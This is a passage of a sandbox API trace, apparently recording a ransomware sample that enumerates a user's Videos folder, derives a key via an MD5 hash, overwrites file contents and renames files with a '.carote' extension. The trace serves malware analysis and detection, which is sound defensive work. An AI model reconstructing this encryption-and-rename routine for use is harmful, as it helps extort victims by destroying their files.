lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.473] CloseHandle (hObject=0x61c) returned 1 [0112.474] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4XdhJ_Lqlr8BQwVu7.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4xdhj_lqlr8bqwvu7.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4XdhJ_Lqlr8BQwVu7.avi.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4xdhj_lqlr8bqwvu7.avi.carote")) returned 1 [0112.475] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.475] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.476] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.476] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0112.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.476] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8658290, ftCreationTime.dwHighDateTime=0x1d4ca53, ftLastAccessTime.dwLowDateTime=0x363d5560, ftLastAccessTime.dwHighDateTime=0x1d4c5c7, ftLastWriteTime.dwLowDateTime=0x363d5560, ftLastWriteTime.dwHighDateTime=0x1d4c5c7, nFileSizeHigh=0x0, nFileSizeLow=0x11751, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LSGoRNlCd_flaeQTyFZ.swf", cAlternateFileName="LSGORN~1.SWF")) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.476] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.476] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.476] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LSGoRNlCd_flaeQTyFZ.swf") returned=".swf" [0112.476] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LSGoRNlCd_flaeQTyFZ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lsgornlcd_flaeqtyfz.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.477] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=71505) returned 1 [0112.477] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.479] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1172b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.479] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.480] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.480] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.480] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.480] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x11751, lpOverlapped=0x0) returned 1 [0112.481] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.481] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.481] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.481] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.481] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0112.482] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.482] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.482] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.482] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.482] GetLastError () returned 0x0 [0112.482] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.482] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0112.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.482] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11750) returned 0x7b182e0 [0112.482] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.482] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.482] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x1174c, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x1174c, lpOverlapped=0x0) returned 1 [0112.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.483] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11751, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.483] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.483] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.483] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.483] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.483] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.483] CloseHandle (hObject=0x61c) returned 1 [0112.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0112.484] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.484] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0112.484] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LSGoRNlCd_flaeQTyFZ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lsgornlcd_flaeqtyfz.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LSGoRNlCd_flaeQTyFZ.swf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lsgornlcd_flaeqtyfz.swf.carote")) returned 1 [0112.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.485] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.485] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.486] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ba25f0, ftCreationTime.dwHighDateTime=0x1d4cfff, ftLastAccessTime.dwLowDateTime=0x4481de00, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x4481de00, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UYaZ4DG0b_NROc5iB6tm", cAlternateFileName="UYAZ4D~1")) returned 1 [0112.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0112.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.486] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ba25f0, ftCreationTime.dwHighDateTime=0x1d4cfff, ftLastAccessTime.dwLowDateTime=0x4481de00, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x4481de00, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UYaZ4DG0b_NROc5iB6tm", cAlternateFileName="UYAZ4D~1")) returned 0 [0112.486] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d708 | out: hHeap=0x5010000) returned 1 [0112.486] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da20 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0970 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0dad0 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0db28 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0908 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0b78 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0be0 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d658 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0c48 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d970 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0cb0 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d918 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d8c0 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0d18 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d868 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0d80 | out: hHeap=0x5010000) returned 1 [0112.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d810 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d448 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac09d8 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.487] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.488] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.488] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.489] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.490] 